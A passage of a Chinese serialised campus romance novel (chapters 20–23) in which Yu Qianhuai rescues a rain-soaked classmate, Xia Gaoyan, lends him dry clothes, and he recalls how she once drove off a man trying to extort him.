砸在地面上,窗沿上,屋檐上。
砸在一切可以降落的地方,发出沉闷的,骨碌碌的响声。
下暴雨了!
走廊上响起女孩子们的尖叫和慌乱的脚步声。
“啊啊啊啊啊——!”
“下大雨了!赶快收衣服!!”
“完了完了,我衣服全晾在大阳台那边!这会儿肯定全湿了!”
“先别管了,快去!收一件是一件。”
虞浅怀不得不佩服刘畅的高瞻远瞩,她居然能赶在暴雨前收完了所有衣服。
此刻对方已经优哉游哉地坐回了位子,又戴上了她那头戴式耳机。
外面的兵荒马乱与她毫无瓜葛。
虞浅怀跑到阳台看了眼,收下了自己不多的几件内衣,顺便帮学妹们晾的衣服也全收了。
刘畅起身上厕所,虞浅怀正鞠着身子往冯铮的椅子上放她的衣服。
对方不动声色地瞥了一眼她的背影。
虞浅怀回到座位上,把收下来的衣服放好,又出去打了点热水。
她站在接水处,欣赏着外面的雨帘如何把此处分割为截然不同的两个世界。
等她再次回到宿舍,把上次返校时带的秋季睡衣拿出来换上,才终于打开手机,打开微信。
——那5条全是夏高严的信息。
夏:【图片】
夏:浅,这药是你买的吗?
夏:【通话已取消】
夏:【通话已取消】
夏:我到你宿舍楼下了,能出来一下吗?
看到最后一条消息,虞浅怀瞬间瞪大了双眼,她猛地从座位上起身。
椅子霎时往后面弹开,椅子腿在地砖上划出刺耳的响声。
刘畅皱眉看了她一眼。
她管不了这么多了,马上冲到阳台边上,俯身往下面看。
80%以上都是没带伞以百米速度冲刺回宿舍的,少量未雨绸缪的悠闲地撑伞进楼。
她眯起眼睛找了一会儿,果
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然在一棵树下发现了夏高严。
……
好家伙,看上去他已经被暴雨浇了个里外通透。
白色外套都贴在身上变半透明的了。
他冷得全身发抖,还不停用手揉着鼻子。
虞浅怀急得心火上浮,狠狠跺了跺脚。
这个死脑筋,怎么就不知道挪个地儿?!
她赶紧从阳台上抓了把伞,带上手机。
以另一种百米冲刺的速度狂奔出寝室。
**
三分钟前。
温念和周红正在走廊尽头的大阳台处抢救衣服。
周红收下最后一件时,松了口气。
“还好还好,基本上没被淋到。”
“嗯,我们晾的位置还可以。”
“可不是嘛,下次还晾这儿!”
兴许是放松了心情,周红开始好奇外面的景况。
她不经意地往下面瞥了一眼,突然激动地拉了拉旁边的温念。
“念念,你快看那是谁?!好像是咱们学霸吧?”
温念顺着她指的地方往下看。
一个高高瘦瘦的男生站在一棵几乎挡不了雨的树下面。
从衣服和身形判断,无疑就是夏高严。
那棵树平时下点小雨还行,今天这雨实在太大了,完全没法为人遮风挡雨。
“他是在等人吗?”温念有点好奇。
周红恨铁不成钢地点了下她的脑袋。
“哎呀,你管他等谁,你这会去给他送把伞不就是雪中送炭吗?保准他记你一辈子!”
温念伫立在原地,内心有点挣扎,真的要去送伞吗?
其实她不是那种主动的人。
周红继续劝她。
“不像是在等人啊,完全没听过他和哪个住校的女生熟,这树是咱这最大的一棵,他肯定是路过过来躲雨的,你快去!别错过机会。”
说完马上抢过她手里的盆,“我帮你拿衣服,你回去拿伞!”
温念又往下看了一眼瑟瑟发抖的男生,终于下定了决心。
她谢过周红,一路小跑回到宿舍,拿出了自己的碎花雨伞。
然后有些慌乱地撩了撩头发,快步朝楼下走去。
**
夏高严羸弱地站在虞浅怀的宿舍楼下。
两只眼睛空洞无神,透着一股麻木和绝望。
微信是没有回应的。
手上也没有她的最新号码。
他也不知道自己在等什么。
可能因为已经站了这么久,也已经淋了这么久了吧。
反正身上都已经湿透,到哪儿都一样,干脆等雨停再走好了。
雨滴顺着他的刘海往下,流进了他的眼睛里。
视线一片模糊,他已经分不清眼里是雨水还是泪水。
好冷。
喉咙好痛。
鼻子也不舒服。
他觉得自己几乎快要站不稳了,可那双脚就是不肯离地。
不知道又过了多久。
终于——
他听到一个女孩急切的声音,在叫他。
“夏高严!”
那女孩急急地淌过一溜又大又深的水坑,深一脚浅一脚地朝他冲了过来。
水已经没过她的鞋底,但她毫无顾忌地直接踩下去,溅起大片大片的水花。
“夏高严!夏高严!”
他擦了擦眼睛里的水,终于在夜色里看清了女孩的脸。
虞浅怀满脸焦急地举着一把黑色大伞,撞撞跌跌地朝他飞奔而来。
20. 她想
虞浅怀跑到夏高严眼前,把伞举过他的头顶。
男生身上的雨气扑面而来,带着尘土的味道。
他立刻往后退了一步,声音虚弱地说。
“你别过来,我身上很湿。”
她的目光掠过他冻得发白的嘴唇和沾满雨珠的睫毛。
心里闷闷胀胀的堵得慌。
以前就听说他这人有点轴,但也没想到会轴到这种地步。
连基本的“下雨往家跑”都不会,啧。
当然,这不是说他智力有问题的意思。
虞浅怀叹气。
“我没回你就赶紧走啊!怎么想的?傻不傻?……”
女孩嘟哝着,满眼都是不忍,她抬起睡衣袖子给他擦脸。
夏高严立刻别开了头。
“别。”他有点抗拒,“把你衣服弄脏了。”
虞浅怀朝他抬了抬腿,示意自己的两只裤管早已被泥水溅了个五花八门。
“早就废了,没事,我一会回去换。”
然后继续轻轻擦掉他脸上的水珠。
男生的鼻尖被冻得发红,皮肤一片冰凉湿滑。
她看到他穿在里面的深色内搭都往外透出了颜色。
伸手一拧,全是水。
她捏了一下他裤腿的布料,好在裤子还算比较厚。
而且因为他很瘦,裤子穿得宽松,并不大面积挨着皮肤,相比之下没上半身那么惨。
虞浅怀把伞往他手里一塞,嘱咐道。
“你在这等着,我去去就回,一分钟!”
不等他开口,她就转身冲进雨里,三步并作两步地向宿舍楼跑去。
虞浅怀以每秒两米的速度冲刺上楼,丝毫没注意到藏在楼门背后的某个人。
她离开之后,温念才从门口处的阴影里缓缓走出来。
她握着手里的碎花雨伞,一脸颓然地走向楼梯。
回到寝室后,周红刚好从厕所里出来。
刚刚她本想去阳台盯着两人进展,无奈因兴奋过度,肚子有点疼,遂先去了趟厕所。
这会儿正好赶上她回来,周红马上冲了过去。
可是,还没来得及说话,就率先看见了她手里裹得整整齐齐的雨伞。
脸上的笑意顿时僵在嘴角。
“怎么了?他走了吗?”
周红一脸探究地问她。
温念垂下眼睫,摇摇头道。
“有人已经去了。”
眼前又浮现出虞浅怀亲昵地抬起袖子帮夏高严擦脸的样子。
也许她不该犹豫那两分钟的。
如果她先去,会不会一切都不一样?
温念第一次觉得自己的性格好讨厌,总是优柔寡断、温温吞吞的。
“谁?”周红瞪直了眼睛,“谁去了?”
温念抿唇道:“虞浅怀。”
周红的嘴巴瞬间挽成“O”型,眼里的神色由惊讶转变为愤怒。
一些诸如“狐媚”、“绿茶”、“妖艳贱货”之类的词汇在她脑里飞快地划过。
但为了在其他室友面前保持涵养和保守秘密,她没有选择直抒胸臆。
“该死!!她什么时候开始注意他的……不是说他俩不熟吗?”
周红看一眼不知情的另两人,压低了声音。
“不知道。”
温念尽力压住自己的情绪,但周红一眼看穿她的失落。
她愤愤不平道。
“你看看,我一开始就跟你说她有心机,你还不信!我没说错吧?”
“什么不熟,这不是送个伞就熟了吗?搞不好她早就在计划了,我敢打包票,像夏高严这么抢手的男生,她绝对盯得死死的,你啊,什么事都慢半拍!”
这一次,温念没有反驳。
其实那天她拿到夏高严的微信还挺开心的。
发完资料后,本还在心里酝酿以后找什么话题聊天,先接近他的精神世界。
没想到虞浅怀捷足先登,直接在物理层面上和对方拉近了距离。
不过她想着,就算是自己去送的伞,也不敢撩起袖子帮他擦脸吧。
单这个举动来说,她还是挺佩服她的。
那句话怎么说的来着?脸皮厚的人先享受世界。
不过说到拉近距离,她倒是想起一个有点矛盾的事情。
“小红,我怎么记得,他俩以前好像是一个班的吧?”
听见这话,周红也愣了一下。
“啊?有这事?那怎么会不熟?”
温念摇摇头,“不清楚,有点怪。”
周红沉思片刻,眼珠一转。
“没事,待我去调查调查。”
温念立刻抬眼看她,对方讪笑着挠挠头。
“放心,合法手段。”
正好对面床的卢云摘了耳机下床,两人对了个眼神,立刻敛了声音,分头散了。
**
十分钟前。
402寝的阳台上,一个自然卷的短发女生端着一杯冲泡咖啡,静静地站在水池旁边。
平静的目光直达楼下。
她看见自己的限量版黑色雨伞被她的室友举着,飞奔到对面的一棵树下,然后罩到了一个男生头上。
心里对她的厌恶顿时又多了几分。
不管是擅自拿伞,还是喜欢在寝室搞出声响,还是疑似不顾他人死活地在水池染头。
刘畅都觉得不舒服。
因为她是个很有边界感的人。
再上某人给她说过的那些,关于虞浅怀的种种“劣迹”。
更让她对她多了一层戒备之心。
看了一会儿,她觉得甚是无趣,于是坐回了座位上。
如果这次雨伞能完好无损地回来,她就暂且不计较。
但如果不是,那她就会说一些重话了。
她这个人,从来不惧怕摊牌。
打定心思后,刘畅翻开练习册继续做题,不是老师的练习册,是她自己的。
她有独特的学习技巧。
5分钟后。
虞浅怀推开了宿舍门,带着外面世界的一片狼藉回到了寝室。
她簇新的卡通睡衣此刻全部挂了彩。
袖子湿掉大半,裤腿全是泥点子。
拖鞋更是惨不忍睹,一路淌水,一踩一个脚印。
她顾不得自己身上的光景,立刻挽起袖子从衣柜里找了两件衣服出来。
一件是她穿起来长过屁股的oversize大码针织衫。
一件是同样长度过裆的宽松型运动服。
这两件用来应急穿一下应该是够了。
拿完衣服后,顺手把她那根万年不用的浴巾也拿了出来。
虞浅怀把这些东西一股脑塞进口袋,然后跑去阳台,准备再拿一把伞。
她的视线掠过那几把伞,突然意识到……刚刚被她拿走的那把大黑伞好像是刘畅的?
心里顿时咯噔一下。
因为墙壁上好几把伞都是黑的,她没注意,以为是冯铮的就直接拿了。
她自己是深蓝和橘黄两把,但挂得比较远,刚刚太着急就拿的最近的。
虞浅怀转头朝刘畅看
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了眼,看上去对方似乎并未察觉。
于是她不动声色地取下自己那把蓝伞,然后飞快地拎包出寝室。
伞的事之后再说吧,眼下有更重要的事。
夏高严在楼下等了一会儿,没多久就看见虞浅怀再次出来,手上多了个帆布包。
他看到她身上还是穿的那套湿掉脏掉的睡衣,顿时皱起了眉头。
“浅浅,你怎么没换衣服?”
虞浅怀没答他这句话,她大大咧咧地抬手挥了个方向。
“走走走!我带你去个地方,快!”
夏高严只得举着伞跟上,好在这会雨比刚才小了些。
两人一前一后地走着,因为大雨的缘故,此刻路上的学生已经寥寥无几。
只有雨声和偶尔开过的电瓶车的声音。
夏高严走在后面,不停地吸着鼻子,他抬头看了眼前面的女孩。
穿得如此单薄,但连喷嚏也不见打一个,身体确实比他好多了。
虞浅怀把他带去了她那个翻墙据点所在的小卖部。
她和那里的老板很熟。
正好离她们寝室也近,不一会儿就走到了。
“张姨,可以借你房间用一下吗?我朋友淋湿了,想换个衣服。”
虞浅怀礼貌询问。
小卖部后院有个带床的房间,老板夫妇二人平时就在那里歇脚。
听到“朋友”这个称呼,夏高严顿时打起了一点精神。
他在心里细细品味着,觉得比“同学”好多了。
张姨打量一眼落汤鸡似的夏高严,立刻道。
“哎哟,怎么淋得这么惨的?快去快去,一会别感冒了。”
“谢谢阿姨!”虞浅怀乖巧地笑着,“对了,给我煮一碗8块钱的关东煮吧。”
借了人家房间,当然得照顾一下生意。
和市井长辈打交道,虞浅怀还算熟练。
“好勒!快去吧,一会煮好我给你们端进来。”
张姨脸上绽开了笑容。
两人来到后院,虞浅怀看准那扇房门,走了过去。
那扇门平日里一般都敞着,许是因为今天下雨,暂时被关上了。
不过也是虚掩着的,一推就开。
里面有床有沙发有椅子有桌子。
空间虽不大,却也是五脏俱全。
虞浅怀把伞搁到房间内的空地,把干净衣服从帆布包里拿出来,放到门口的木质沙发上。
夏高严关上房门,往里看了眼,感觉屋内空间有限。
于是把伞收了起来,顺便过去把虞浅怀那把也收了。
然后挂在门背后的挂钩上。
女孩一屁股坐到沙发上,伸了个懒腰。
她举起手腕看了眼自己的袖口。
在体温的“烘烤”下,已经干得差不多了。
虞浅怀轻轻抬眼看向夏高严。
他已经把湿透的外套脱了放在旁边的凳子上,身上只穿一件贴身的圆领卫衣。
对方正好也朝她看过来,两人视线倏地撞上。
虞浅怀见他一动不动,表情微妙地盯着自己,觉得有点怪异。
她伸脚,轻轻勾了一下他的小腿。
“怎么了?你不换衣服吗?”
夏高严瞥了她一眼,白皙冷清的面庞上浮起一层薄红。
他从沙发上拿起她的oversize毛衣,有点腼腆地朝房间另一头走了过去。
虞浅怀突然懂了他的用意,她忍不住发出了杠铃般的笑声。
“躲什么躲啊?又不是没看过。”
21. 她不
听见这句话,夏高严脸红得更厉害了,那抹绯红一路往后延伸到耳廓。
虞浅怀瞅着他扭捏的身姿,脸上的笑意荡漾开来。
她翘了个二郎腿,在背后逗他。
“别跑啊!我又不会吃了你,哈哈哈……”
夏高严充耳不闻地走到房间对面紧掩的窗户旁边。
低头扫视了一眼周围环境。
角落里的一张木床占掉近乎三分之二的空间,窗户下面的床头柜上放着药盒、烟灰缸、烧水壶等器物。
床头柜前面有一张脱漆的矮凳,不太清楚用途,不过用来放他的湿衣服应该正好。
他背对着虞浅怀,把仅剩的卫衣脱了下来,露出瘦削而挺拔的脊背。
一条突兀得像算盘珠子一样的脊柱沿着他的窄背蜿蜒而上,两扇肩胛骨清晰可见。
背部皮肤苍白而紧绷,有种脆弱又坚韧的艺术美感。
虞浅怀眨着一双鬼灵精怪的眼睛,在背后偷瞄。
女孩唇角微微勾起,看着一脸的坏主意。
“啊切!”
衣服刚放到矮凳上,夏高严就狠狠打了个喷嚏。
虞浅怀立刻放下了嘴角,眉头一皱,她拿着沙发上的浴巾站了起来。
“等一下!”她朝他走过去,“你擦干了再穿。”
她大剌剌地走到他面前,夏高严躲无可躲,抱紧双臂回头看她。
女孩突然露出一个邪恶的笑容。
她两手捏着浴巾的边缘,抬起手臂往上一扔,直接盖住了他的头。
夏高严眼前一黑,整个人被罩在宽大的浴巾里。
他闻到一股特别的味道,那是一种混合了浴巾主人的体味,洗衣液的香味以及衣柜里存放的干净衣服的独特气味。
他偷偷猛吸一口,感觉自己能醉在里面。
虞浅怀在他头上揉了两把,隔着浴巾命令他。
“从头发开始擦,把水擦干。”
夏高严从浴巾底下伸出手臂,按照指示擦头。
一不小心触到女孩还没来得及撤回的手。
好烫。
和他手上的冰凉形成鲜明的对比。
心跳微微加速。
虞浅怀大方地反摸他的手,像个诊脉的老中医一样皱了皱眉。
“人这么瘦,手也这么凉,身体好得了才怪!”
她伸手点了一下他的肩。
“你什么时候能长点肉啊喂?”
夏高严把浴巾撩开一点,露出两只无辜的杏眼。
“光吃不长。”
虞浅怀愣了下,轻瞪他一眼。
“……要锻炼,多吃多练才能长。”
夏高严抿紧唇线,不再说话,老老实实地擦头。
浴巾被他撩到头上,下摆轻轻掀开,露出同样枯瘦的前腹。
两排肋骨的形状在皮肤底下若隐若现。
虞浅怀伸出手指戳了戳其中一根。
夏高严身体轻颤,猛地往后一缩,差点撞到后面的床头柜。
虞浅怀一边戳还一边嘴欠吐槽。
“别人有八块腹肌,你有十二根排骨。”
“浅浅,”他低声制止,“别闹。”
虞浅怀一听更来劲了,坏笑着伸手去戳他的肚皮。
“嘿,就闹。”
夏高严只得腾出一只手,捉住女孩的手腕。
“浅浅。”
两人正拉拉扯扯,门外响起了“咚咚咚的”敲门声。
张姨的声音飘了进来。
“妹子,关东煮好啦,我能进来不?”
夏高严立刻放开她的手腕,并马上用浴巾给自己裹了个严严实实。
虞浅怀表情揶揄地看了他一眼,转身朝门口喊了一声。
“等一下!我出来拿吧。”
然后连跑带蹦地冲到门口,把门打开了一条缝。
张姨把用塑料袋裹好的关东煮给她递了过来。
“谢谢张姨,我一会出来扫码付款。”
张姨微笑着摆摆手,“不急,你们慢慢吃,对了,桌上热水瓶有水,可以倒点热水喝,暖暖身子。”
虞浅怀谢过了张姨,张姨转过身一溜小跑回了前店。
这会雨比刚才更小一些,没那么密集了,稀稀拉拉的。
夜里的场景开始重新变得清晰,像一副被洗过的黑色基调的油画。
虞浅怀抬头看一眼院落对面那个她经常用于翻墙的垃圾桶,心里有种奇特的感觉。
好像前几天那个翻墙的自己和现在这个带夏高严来换衣服的自己完全不是同一个人了。
虞浅怀轻叹一声,重新关上了门。
夏高严已经擦完身子,穿上了她的那件毛衣。
他在低头往身上打量。
虞浅怀把关东煮放到桌子上,拿起沙发上的运动外套朝他走了过去。
她乜了他一眼,撇嘴道。
“怎么?嫌弃啊?”
夏高严抬起头来,眼神清澈地望着她,嘴角有浅浅的笑意。
“没有,挺好看的。”
那件毛衣是黑色打底,上面有一个灰白色贯穿全身的巨大蜘蛛网。
图案的正中央是一只黑色的蜘蛛。
夏高严一穿上,感觉瞬间潮了几个度。
从青涩纯正三好学生进化为闷骚时尚忧郁型潮男。
虞浅怀挑眉道。
“当然好看了,你也不看谁买的。”
其实不算买的,这件是从虞女士的店里拿的。
“走,去吃东西。”她招呼他。
夏高严点点头,然后把虞浅怀递过来的外套穿在了毛衣外面。
快走到桌子的时候,男生快一步上前,把那件放着湿外套的凳子移到旁边,重新搬了根凳子放在原处。
虞浅怀就着那根凳子坐了下来。
夏高严坐在了方桌上与她相邻的一方。
女孩打开关东煮盒子上的塑料袋,一股热腾腾的味增汤的香气扑面而来,在这潮湿雨夜里显得弥足珍贵。
她把里面的竹签拿出一根递给他。
“吃点吧,热热身子。”
夏高严戳了一块鱼豆腐放进嘴里,慢慢地嚼着。
虞浅怀也穿了一个丸子起来,不过她不打算吃太多,这个主要是给他买的。
吃了一会儿,夏高严抬眼问她。
“那支药……”
虞浅怀飞快地否认。
“不是我买的。”
逃课去为他买药这种事,她怎么可能承认?
夏高严不由一愣,尝试搬出证人。
“可祁韦说是你放进去的。”
女孩往耳朵后面拢了拢头发。
闪烁其词道:“我帮别人放的。”
“帮谁放的?”他追问。
虞浅怀瞪了他一眼,心虚地提高了音量。
“你管这么多干嘛?”
夏高严垂下眼睫,不再吭声。
两人默了半晌,气氛有一点尴尬。
男生凝思片刻,缓缓抬眼,细声细气地说了一句。
“那你可以帮我说声谢谢吗?”
说完后,他目光炽热地盯着她,心里有情绪微微翻涌。
虞浅怀长睫颤了颤,避过他的
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目光。
敷衍道:“好啊。”
夏高严继续发问。
“对了,那天你去吕老师的办公室……”
虞浅怀皱起眉头打断。
“不许问。”
她板起脸斥责他,“夏高严,你话怎么这么多?”
“好吧,”男生又垂下头去,“不问了。”
他放下竹签,拿过桌上放着的一只玻璃杯和一只陶瓷碗。
然后站起身把对面的热水瓶拎了过来,给两个容器里都倒上了水。
把其中的玻璃杯推给了虞浅怀。
“喝点水吧。”
虞浅怀点点头。
“嗯,好。”
两人喝完水,她见他把竹签放回了盒子里,好像不打算继续吃的样子。
问他:“你不吃了吗?”
盒里还剩下不少食物,但夏高严摇了摇头。
“嗯,不想吃了。”
“怎么了?”
“有点不舒服。”
“是犯恶心吗?”
“有一点。”
虞浅怀立刻伸手摸了摸他的额头,那温度感觉有些不妙。
她心里一惊,马上从椅子上站了起来,当机立断道。
“你好像有点发烧,我们赶紧走,我送你。”
女孩哗啦一声拉开椅子,然后去沙发上拎起帆布包,把夏高严的湿衣服装了进去。
夏高严从背后取下两把伞,顺便把桌上没吃完的盒子一并收拾。
虞浅怀走到门口,推开门发现雨已经停了。
“雨停啦!”
“嗯。”
她惊喜地说道,他轻柔地应声。
暴雨一向如此,来得快去得也快。
就是苦了淋雨的人,病来如山倒,病去如抽丝。
出了小卖部后,虞浅怀把他送到了侧门。
夏高严把伞还给她,她接过刘畅的伞,又把自己的蓝伞塞回他手里。
“你拿着吧,万一一会又下雨呢?”
“没事,我打车。”
“那也不能开进小区吧?”
夏高严想了下道:“那好吧。”
又嘱咐她,“你快回去吧,宿舍该关门了。”
虞浅怀大手一挥,“还早着呢,别担心,你快去打车。”
她站在侧门内,目送他拦下车之后才转身离开。
夏高严坐进车里,抬头望向车窗外女孩步履轻快的背影。
心里的暖意盖过了生理上的难受。
他转过头对司机说:“去瀚林苑。”
司机应声,启动车子上路。
夏高严轻轻枕在靠枕上,四肢有点飘忽,绵软无力。
嗓子疼,鼻子尤其难受,痒痒的堵得慌,随时都想打喷嚏的感觉。
擤了几次鼻涕之后,夏高严想了一会儿,还是把那支滴剂从书包里拿了出来。
他拧开外盖,仰着头,往鼻孔挤了一滴。
那感觉确实很不一样。
先是有点刺痛,有种特别针对病灶在发力的感觉,但很快就被一种清凉的感觉代替了。
不一会儿,鼻子就没那么痒了,相比之下喉咙的问题反而更加突出。
“小哥,瀚林苑到了。”
夏高严点点头,付款下车。
他左手拎着虞浅怀的帆布包,右手拿着她的深蓝色雨伞。
脚步沉缓地走向住处所在的单元楼。
其实他现在住的地方并不是他家,家里照顾他的人也并非他的母亲。
他乘电梯到十二楼,拖着疲惫的身躯,用钥匙打开了门。
22. 她想
房门打开后,一个约摸50岁左右,面容慈祥的阿姨立刻招呼他。
“严严回来啦?”
这位阿姨是夏家为夏高严请的保姆,负责他复读这一年的饮食起居,这套学区房也为了复读而租的。
阿姨见他脸色苍白,表情痛楚,马上神色关切地走了过来。
“哎哟,这是怎么了?生病了?”
夏高严艰难地点了点头。
阿姨瞥见他身上和出门前截然不同的一身衣服和手里花里胡哨装着湿衣服的帆布包,顿时明白了怎么回事。
这是淋雨了,刚刚下了好大一阵雨。
阿姨探了探他的额头,惊呼“好烫”。
她马上接过他手里的东西,嘱咐道。
“你赶快去洗个热水澡!我去给你收衣服。”
夏高严虚弱地点了点头,他强撑着,去卧室里拿了条内裤出来。
之前和阿姨说好了,贴身衣物她不碰。
他走进卫生间,拧开水龙头冲了一会儿,水终于变热。
他把头伸进水柱里,密密麻麻的水珠砸下来,有种舒缓和解压的感觉。
卫生间的热气蒸腾着,缭绕在他身侧。
其实对于夏高严退学复读这件事,他的父母是完全不理解的。
一向循规蹈矩的儿子居然做出如此大胆的决定,可以说震惊了所有人。
但他的态度却很坚决,他给出的理由是“擦边进的浙大,选的专业不理想”。
对于这件事,夏父因为思想传统,所以坚决反对,直呼“大逆不道,倒反天罡”。
而夏母的心情则比较复杂,她没有夏父那么非黑即白。
一方面她认为这是夏高严突破自我的一种表现,这是他自打成长以来,第一次有这种胆识和决心做出规则之外的决定。
但另一方面她也有点担心,如果复读的结果不好,他是否能承受这种后果?
她还记得那是个安静而沉闷的夜晚,夏高严与她在电话里谈论这件事。
他的声音被电子信号转译了一遍,显得有点陌生。
最主要还是他说的话有些陌生。
这些话,以前她从来没有在他的嘴里听过。
他说——“我想为自己活一次。”
就是这句话,让她最终下定了决心支持他。
不过,这个支持是有条件的,需要他自己承担一定的后果。
夏母与夏父交涉之后,对夏高严就复读一事进行了约法三章。
一、她帮他说服了夏父,但说服的代价是这一年他不能住在家里。
除了夏父会因看他不顺眼而引发家庭矛盾外,夏母今年的工作刚有起色,收入翻倍,如果发展得好,后续薪资有望超越夏父,所以她想要把精力更多地放在自己的工作而不是照顾高三学生身上。
照顾一年没问题,但还要来一年,那就不能事事依他了,大人也有自己的生活节奏。
二、鉴于第一条的原因,家里会为他在七中附近的学区租房,然后聘请一个保姆照顾他的生活。
三、如果夏高严复读后,没有考上浙大及浙大以上层次的学校,租房和聘请保姆的费用需要在他工作后返还给家里,目的主要不是为了钱,而是让他明白选择的代价。
夏高严一一应下,然后就有了这套房子和那位阿姨。
他为虞浅怀搭上了自己的一部分未来,成为命运的赌徒。
不过还称不上是豪赌,毕竟他的成绩还是挺稳定的,并非完全的以小博大。
因为决定做得匆忙,这位阿姨是一周后才到的。
所以其实夏高严一个人在这间房子里住了一个星期。
还好他很小就学会了做饭,外加学校附近餐馆很多,应付一周的伙食问题不大。
阿姨是夏母特意找来的一位远房亲戚,为人还算勤快老实,就是有些习惯他不喜欢。
譬如他有点洁癖,喜欢把卫生间弄得规矩整洁。
但阿姨洗过澡后总是一片狼藉,而且她喜欢在水池里手洗衣服。
有时候是先泡一泡,这样偶尔他去上厕所的时候就会发现水池被占。
他脸皮薄,也不好说什么。
不过这些都是小事,也不是经常,所以还好。
路是自己选的,跪着也要走完。
这里离学校近,走路15分钟就能到,且房子装修比较新,舒适度较高,外加阿姨做饭也好吃,这些都算是比住家里强的地方。
夏高严洗完澡出来,吃了阿姨兑的冲剂和配好的退烧药。
然后就窝到了床上。
他闭上眼睛,回想今天发生的种种,以此转换注意力。
今天除了淋雨,别的一切都超乎他预期。
所以虽然身体上有点难受,但心里还是有那么一丝甜。
他微微翘起了嘴角。
他还是相信那药是虞浅怀买的,因为他发现她心虚的时候喜欢小幅度地提高音量,有种虚张声势的感觉。
而且今天她对他还是挺关心的,当然也可能是因为今天他太惨了。
如果惨能换来她的关心,那惨就惨点吧,没关系。
夏高严裹紧被子,回忆起第一次注意到虞浅怀的时候。
其实那时候他一点也不喜欢她。
他从小就是那种知书达理、墨守成规的好孩子。
而虞浅怀和他正好相反。
喜欢疯,喜欢闹,喜欢玩。
某段时间她正好坐在他背后,天天聊天,影响同学。
关键她聊天成绩不会往下掉,但和她同桌的人就惨了。
最后姜自珍忍无可忍把她调到了讲台旁边的左右护法。
偏偏这个人,这么疯这么闹,物理和数学还总能考过他,而且还是轻轻松松的那种。
虞浅怀让他第一次开始质疑“努力就有回报”这件事。
而且高一那会,夏高严比现在还要瘦,还要羸弱,也没现在好看。
一看就是个不苟言笑的死板书呆子。
那时虞浅怀跟着别人叫他“白斩鸡”。
这个外号不是她取的,但却是被她发扬光大的。
因为很多词从她嘴里一说出来,就有人跟风。
包括但不限于“白斩鸡”、“老僵尸”等。
老僵尸倒确实是虞浅怀取的。
那是虞浅怀在和姜自珍最不对付的时候给她取的名字。
后来她和姜自珍和好了,私底下不再这么叫她,但这外号却流传开来,被其他人用得十分顺溜。
虞浅怀逃课,和人吵架,高调恋爱,还叫他“白斩鸡”。
他虽然称不上恨她,却也是非常的看不惯,那会他过多地受到他爸的影响,对于一切不守规矩的人和事都有天然的排斥。
但是——
凡事都有个
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但是。
事情的转折发生在高二开学的某一天。
那天夏高严像往常一样骑车上学,但快到学校的时候,他突然感觉脚下力道一空,方向也不受控制。
他赶紧从车上下来查看,发现是滑链了。
如果给他一点儿时间,他也能把链条上上去。
但一来快上课了,时间比较紧,二来他不想摸一手油污,所以还是打算去修车的地方修。
他看了眼校门口的距离,觉得还好,大不了先推进去停着,等放学再说。
于是他推着自己的自行车,沿着马路边缘,小心翼翼地朝着学校的方向走。
然而,意外发生了。
就在他快要到学校的时候,突然有人在背后叫住了他。
“喂,推车那小子,给我站住!”
夏高严肩膀一颤,他回过头去,看向叫他的人。
那是个约摸20来岁的男青年,染了一头黄毛,长得一副流里流气的样子。
黄毛朝他走过来,指了指旁边一辆倒在地上的摩托车,趾高气扬地说。
“你把我摩托车撞翻了,还想走?”
夏高严看了一眼摩托,赶紧和他解释。
“不是我撞的,我只是路过。”
黄毛两眼一瞪,开始耍无赖。
“我刚刚都看见了,你还想抵赖?”
夏高严沉默了,心里开始紧张。
对方话锋一转。
“这样吧,我也不找你麻烦,你赔点钱吧。赔点,哥哥今天就不和你计较了。”
说着他伸出手掌朝他晃了晃,这明显就是想讹他。
夏高严叹了口气,打算直接交钱,息事宁人。
“你要多少?”
黄毛眼珠一转:“100。”
他见夏高严面露难色,又改口道。
“50也行,就当我做好人了。”
……
这年头坏人也做上好人了。
夏高严无语,但还是把手伸进了裤兜里。
就在他刚摸到钱的时候,背后响起一个清脆的声音。
“白斩鸡?”
他回头一看,正是虞浅怀。
虞浅怀背着她那花里胡哨的斜挎包,把玩着手里的手机,朝他走了过来。
女孩不动声色地朝两人打量了一眼,问道。
“怎么了这是?”
黄毛刚听见有人叫他,心里一惊,但转头一看,是和他一样大的小丫头片子,又放松下来。
他朝虞浅怀挑了挑眉道。
“你同学撞倒我的车了,我让他赔钱呢。”
虞浅怀朝摩托上看了一眼,立刻拆穿他。
“你这车都倒了几个小时了好不好!”
黄毛顿时有点心虚,但还在嘴硬。
“你瞎说!我刚刚都看见了,就是他撞倒的。”
他又抬手指了指夏高严的自行车。
“他的车撞了我的车都脱链了!你还说不是他?”
夏高严拉了拉虞浅怀,小声道。
“要不算了……”
虞浅怀马上提高了声音。
“算了?怎么能算了?!”
她上前两步,走到摩托车旁边。
指着上面的树叶子,对黄毛说。
“这旁边连棵树都没有!如果是他刚刚撞倒的,那请问上面的叶子是怎么来的?”
23. 她不
黄毛顿时脑子卡壳,嘴唇嚅动了好几下也没说出话来,疑似失去所有力气与手段。
虞浅怀不等他反应,指了指地上的枯叶,连珠带炮地轰炸他。
“今天上午刮了大风,好多车都被刮倒了,你的车明明就是被刮倒的!车上这些叶子也是从那边吹过来的。”
她抬手指了指几米外一棵开始凋零的树,显然眼前地上和车身表面的黄叶都来自于它。
女孩的语气开始变得凶狠。
“你想讹人也找个好点的理由!而且学校附近都有监控,给你个机会赶紧走人!不然我马上打电话叫老师过来!!”
虞浅怀连哄带吓地说道,脸上没有一丝惧色。
说罢还朝对方扬了扬手里的手机。
那一刻,她好像在发光。
——至少在夏高严眼里是的。
他忽然觉得,自己对她那点阴暗的嫉妒和厌恶在此刻显得如此无力,甚至还有些卑劣。
由于虞浅怀的强势出击,那黄毛成功被她唬住,对方赶紧扯了个理由,骑上那辆本就安然无恙的摩托车一溜烟跑了。
事后虞浅怀陪他推着车子一起朝校门口走。
夏高严抿了抿唇,轻声道。
“谢谢你。”
“没事。”虞浅怀大方地朝他摆了摆手,眼里却紧紧盯着手里的手机。
她纤长的手指在屏幕上利落地打字。
嘴角还不时露出一抹甜蜜的微笑。
夏高严偷偷抬眼瞧她,想提醒她走路别看手机。
但看到她脸上的表情,又把话咽了下去。
不一会儿,两人就走到了校门口,虞浅怀把手机收了起来。
她看了一眼不远处的停车棚。
“你要去停车吗?”
夏高严点头。
“嗯。”
虞浅怀微笑着朝他挥了挥手,眸光清澈明亮。
但他总觉得这微笑是她刚刚和人聊天后的“余笑”,并不是特意对他笑的。
她手机上的聊天对象,会是那个校草男友吗?
心里正乱七八糟,女孩清脆地说了声。
“那我先走啦!”
夏高严唇瓣微张,看着她随风而去的发梢,突然鼓起勇气叫住了她。
“等一下。”
